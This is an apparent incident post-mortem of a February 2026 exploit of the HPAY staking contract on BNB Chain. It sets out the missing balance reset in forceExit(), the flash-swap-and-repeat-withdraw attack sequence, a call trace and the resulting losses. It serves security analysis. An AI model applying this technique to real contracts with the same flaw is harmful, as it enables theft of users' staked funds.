HPAY Staking Contract forceExit() Missing Balance Reset

On February 25, 2026, the HPAY staking contract on BNB Chain (BSC) was exploited via a logic error in the unverified staking implementation at 0xbe189fe9f84ca531cd979630e1f14757b88dd80d, accessed through the TransparentUpgradeableProxy at 0x6e30c17d2554dca5a1ac178939764c6bf61ab95a. The forceExit() function transfers the caller’s entire staked HPAY balance but never resets _balances[msg.sender] to zero, allowing unlimited repeated withdrawals of the same balance. The attacker called forceExit() 50 times in a single transaction, draining approximately 58.7 million HPAY from the staking contract. The stolen tokens were swapped through PancakeSwap (HPAY -> BTCB -> WBNB) for approximately 26.01 BNB (~$15,600 at $600/BNB).

Root Cause

Vulnerable Contract

  • Contract name: HPAY Staking Implementation (unverified)
  • Address: 0xbe189fe9f84ca531cd979630e1f14757b88dd80d
  • Proxy: TransparentUpgradeableProxy at 0x6e30c17d2554dca5a1ac178939764c6bf61ab95a (EIP-1967, verified source: OpenZeppelin Solidity 0.7.6)
  • Source type: TAC decompilation only (unverified on BscScan; LLM recovery unavailable)

The proxy delegates all calls to the implementation at 0xbe189fe9...d80d. Storage lives in the proxy contract. The verified source for a related staking contract (BasicHedgeStake.sol / HedgeCoinStaking) found in the HPAY token source package shows the expected staking logic with proper balance management in withdraw(), but the deployed implementation added a forceExit() function that omits the critical balance reset.

Vulnerable Function

  • Function name: forceExit()
  • Selector: 0x67acc704 (verified: cast sig "forceExit()" = 0x67acc704)
  • Contract: Staking implementation at 0xbe189fe9f84ca531cd979630e1f14757b88dd80d

Vulnerable Code

The TAC decompilation of forceExit() translates to the following pseudocode:

// [TAC decompilation -- approximation]
// Source: 0xbe189fe9f84ca531cd979630e1f14757b88dd80d/contract.tac, function forceExit()()

function forceExit() external {
    address token = stakingToken;                         // SLOAD slot 0x70
    uint256 balance = _balances[msg.sender];              // SLOAD keccak256(msg.sender, 0x6e)
    token.transfer(msg.sender, balance);                  // CALL 0xa9059cbb
    // STOP -- function ends here
    // _balances[msg.sender] = 0;                         // <-- VULNERABILITY: this SSTORE never happens
}

For comparison, the verified withdraw() function in the related HedgeCoinStaking contract (BasicHedgeStake.sol) correctly decrements the balance before transferring:

// Source: 0xc75aa1fa.../contracts/staking/BasicHedgeStake.sol (verified)
function withdraw(uint256 _amount) external updateReward(msg.sender) {
    require(_balances[msg.sender] >= _amount, "Insuficient balance");
    _balances[msg.sender] -= _amount;                     // <-- Balance updated BEFORE transfer
    uint256 fee = 0;
    if(unStakeTax > 0){
        fee = (_amount * stakeTax) / 100;
        stakingToken.transfer(feeAddress, fee);
    }
    stakingToken.transfer(msg.sender, _amount - fee);
}

Why It’s Vulnerable

  • Expected behavior: The forceExit() function SHOULD reset _balances[msg.sender] to zero after transferring the staked tokens back to the caller. This is the standard withdrawal pattern – update state, then transfer.

  • Actual behavior: The function reads _balances[msg.sender] via SLOAD and calls stakingToken.transfer(msg.sender, _balances[msg.sender]), but the entire function body contains zero SSTORE instructions. The balance mapping is never modified. After forceExit() returns, _balances[msg.sender] still holds the original staked amount.

  • Why this matters: Because _balances[msg.sender] is never zeroed, every subsequent call to forceExit() by the same address transfers the same amount again. An attacker can call forceExit() N times to receive N times their staked balance, limited only by the contract’s token holdings and the gas limit of a single transaction.

Normal flow vs Attack flow:

StepNormal (withdraw)Attack (forceExit)
1. Read balance_balances[caller] = 1,173,986 HPAY_balances[caller] = 1,173,986 HPAY
2. Update state_balances[caller] -= amount (now 0)(no state update)
3. Transfertransfer(caller, amount)transfer(caller, 1,173,986 HPAY)
4. Next call_balances[caller] = 0 (cannot withdraw again)_balances[caller] = 1,173,986 HPAY (can withdraw again)

Attack Execution

High-Level Flow

  1. Attacker EOA (0x734e1bda) deploys a main attack contract (0xcabba5f0) which immediately deploys a helper contract (0x0dc0c0e0).
  2. The main contract calls the helper’s trigger function (0x682aa435).
  3. The helper checks the staking contract’s HPAY balance (~57.5M HPAY available), then initiates a PancakeSwap V2 flash swap to borrow ~1,197,945 HPAY from the HPAY/BTCB pair (0xf603ae6e).
  4. Inside the flash swap callback (pancakeCall), the helper approves the staking proxy and calls stake(1,197,945 HPAY). After the 2% stake tax, _balances[helper] is set to ~1,173,986 HPAY.
  5. The helper calls forceExit() 50 times. Each call transfers ~1,173,986 HPAY from the staking contract to the helper without resetting the balance, draining ~58.7M HPAY total.
  6. The helper swaps the accumulated HPAY for WBNB via PancakeSwap Router V2 using swapExactTokensForETHSupportingFeeOnTransferTokens (HPAY -> BTCB -> WBNB).
  7. The helper repays the flash swap by transferring HPAY back to the pair contract.
  8. The helper unwraps WBNB and sends ~26.01 BNB to the attacker EOA.

Detailed Call Trace

The trace is derived exclusively from trace_callTracer.json. Selector resolutions are from selectors.json and verified with cast sig.

[depth 0] 0x734e1bda (AttackerEOA)
  -> CREATE 0xcabba5f0 (AttackerContractMain)
    [depth 1] 0xcabba5f0
      -> CREATE 0x0dc0c0e0 (AttackerContractHelper)
        [depth 2] constructor:
          -> STATICCALL 0x6e30c17d.stakingToken() [0x72f702f3]
              -> DELEGATECALL 0xbe189fe9.stakingToken() [0x72f702f3]
                 returns: 0xc75aa1fa (HPAY token)
          -> STATICCALL 0x10ed43c7.WETH() [0xad5c4648]
                 returns: 0xbb4cdb9c (WBNB)

    [depth 1] 0xcabba5f0
      -> CALL 0x0dc0c0e0.0x682aa435() (trigger exploit)

        [depth 2] 0x0dc0c0e0:
          -> STATICCALL 0xf603ae6e.token0() [0x0dfe1681] -> BTCB
          -> STATICCALL 0xf603ae6e.token1() [0xd21220a7] -> HPAY
          -> STATICCALL 0xc75aa1fa.balanceOf(0x6e30c17d) [0x70a08231]
                 returns: ~58,649,390 HPAY (staking contract balance pre-attack)
          -> CALL 0xf603ae6e.swap(0, 1197944982325549072340425, 0x0dc0c0e0, data) [0x022c0d9f]
              (PancakeSwap flash swap -- borrows ~1,197,945 HPAY)

            [depth 3] PancakePair:
              -> CALL 0xc75aa1fa.transfer(0x0dc0c0e0, 1197944982325549072340425) [0xa9059cbb]
                  (sends HPAY to helper; triggers processFee())
              -> CALL 0x0dc0c0e0.pancakeCall(...) [0x84800812]

                [depth 4] pancakeCall callback:
                  -> STATICCALL 0xc75aa1fa.balanceOf(0x0dc0c0e0) [0x70a08231]
                         returns: ~1,197,945 HPAY (after fee deduction from flash swap transfer)
                  -> CALL 0xc75aa1fa.approve(0x6e30c17d, amount) [0x095ea7b3]
                  -> CALL 0x6e30c17d.stake(1173986082679038090893617) [0xa694fc3a]
                      -> DELEGATECALL 0xbe189fe9.stake(...)
                          (2% fee to feeAddress; _balances[0x0dc0c0e0] = 1,173,986 HPAY)
                  -> STATICCALL 0xc75aa1fa.balanceOf(0x6e30c17d) [0x70a08231]
                         returns: updated staking balance

                  -- forceExit() loop (50 iterations) --
                  -> CALL 0x6e30c17d.forceExit() [0x67acc704]   (x50)
                      -> DELEGATECALL 0xbe189fe9.forceExit()
                          -> CALL 0xc75aa1fa.transfer(0x0dc0c0e0, 1173986082679038090893617)
                              (each call: same amount, balance never reset)

                  -- Post-drain: swap and repay --
                  -> STATICCALL 0xc75aa1fa.balanceOf(0x0dc0c0e0) [0x70a08231]
                  -> CALL 0xc75aa1fa.approve(0x10ed43c7, amount) [0x095ea7b3]
                  -> CALL 0x10ed43c7.swapExactTokensForETHSupportingFeeOnTransferTokens(...)
                       [0x791ac947] (path: HPAY -> BTCB -> WBNB)
                      -> swap through 0xf603ae6e (HPAY/BTCB pair)
                      -> swap through 0x61eb789d (BTCB/WBNB pair)
                      -> CALL 0xbb4cdb9c.withdraw(26014224201105944931) [0x2e1a7d4d]
                      -> CALL 0x0dc0c0e0 (receive BNB)
                  -> CALL 0x734e1bda (send ~26.01 BNB to attacker EOA)

              [depth 3] PancakePair:
              -> STATICCALL 0xc75aa1fa.balanceOf(0xf603ae6e) [0x70a08231] (K invariant check)
              -> STATICCALL 0x7130d2a1.balanceOf(0xf603ae6e) [0x70a08231]
              -> STATICCALL 0xf603ae6e.getReserves() [0x0902f1ac]

Financial Impact

All figures are derived from funds_flow.json.

Total HPAY drained from staking contract: ~58,699,304 HPAY (50 x 1,173,986.08 HPAY per forceExit call)

Net loss by address (HPAY token 0xc75aa1fa):

AddressRoleHPAY Net Change
0x6e30c17d (Staking Proxy)Victim-57,525,318 HPAY
0xf603ae6e (HPAY/BTCB Pair)DEX pair+55,103,473 HPAY
0x50720e10Fee recipient 1+1,204,652 HPAY
0xc405c35cFee recipient 2+1,204,652 HPAY
0x6ff5a4e3Stake fee address+23,959 HPAY
0x0dc0c0e0 (Attacker Helper)Attacker contract0 HPAY (passed through)

Attacker profit: 26.014224201105944931 BNB (~$15,600 at $600/BNB; ~$10,400 at $400/BNB)

  • The attacker used a PancakeSwap flash swap (no upfront capital required).
  • HPAY is a fee-on-transfer token; each transfer() triggers a processFee() call that redistributes ~5% to fee recipients (split between two addresses). This reduced the net extractable amount.
  • Gas cost: 0.000196 BNB (negligible).
  • The staking contract was drained of nearly its entire HPAY balance (~57.5M net loss out of ~58.6M pre-attack balance), rendering the staking protocol non-functional for all other stakers.

Who lost funds: HPAY stakers who had tokens deposited in the staking contract. The staking proxy’s HPAY balance was fully drained.

Evidence

Selector verification (all confirmed via cast sig):

  • forceExit() = 0x67acc704
  • stake(uint256) = 0xa694fc3a
  • transfer(address,uint256) = 0xa9059cbb
  • stakingToken() = 0x72f702f3
  • pancakeCall(address,uint256,uint256,bytes) = 0x84800812

TAC decompilation confirms no SSTORE in forceExit(): The entire function body (TAC lines 5471-5756, blocks 0x389 through 0x391) contains two SLOAD instructions (reading stakingToken from slot 0x70 and _balances[msg.sender] from the mapping at slot 0x6e), one CALL (the transfer), and a STOP opcode. There are zero SSTORE instructions in any reachable block of this function.

Transfer amount consistency: Every one of the 50 forceExit() calls transfers exactly 1,173,986,082,679,038,090,893,617 wei (1,173,986.08 HPAY) from the staking proxy to the attacker helper. This matches the _balances[helper] value set during stake() (the staked amount of 1,197,945 HPAY minus 2% stake tax = 1,173,986 HPAY). The constant transfer amount across all 50 calls proves the balance was never decremented.

Storage slot mapping: The _balances mapping is at storage slot 0x6e (decimal 110). In the verified HedgeCoinStaking contract layout (from BasicHedgeStake.sol), _balances is declared after stakeTax (uint8), unStakeTax (uint8), feeAddress (address), rewardRate (uint256), lastUpdateBlock (uint256), rewardPerTokenStored (uint256), userRewardPerTokenPaid (mapping), rewards (mapping), and _balances (mapping). Accounting for OwnableUpgradeable storage (slot 0x33 = 51 for _owner, plus Initializable slots), this is consistent with the expected layout.

Receipt status: 0x1 (success). Block: 83268463. Timestamp: 2026-02-25T10:50:42 UTC.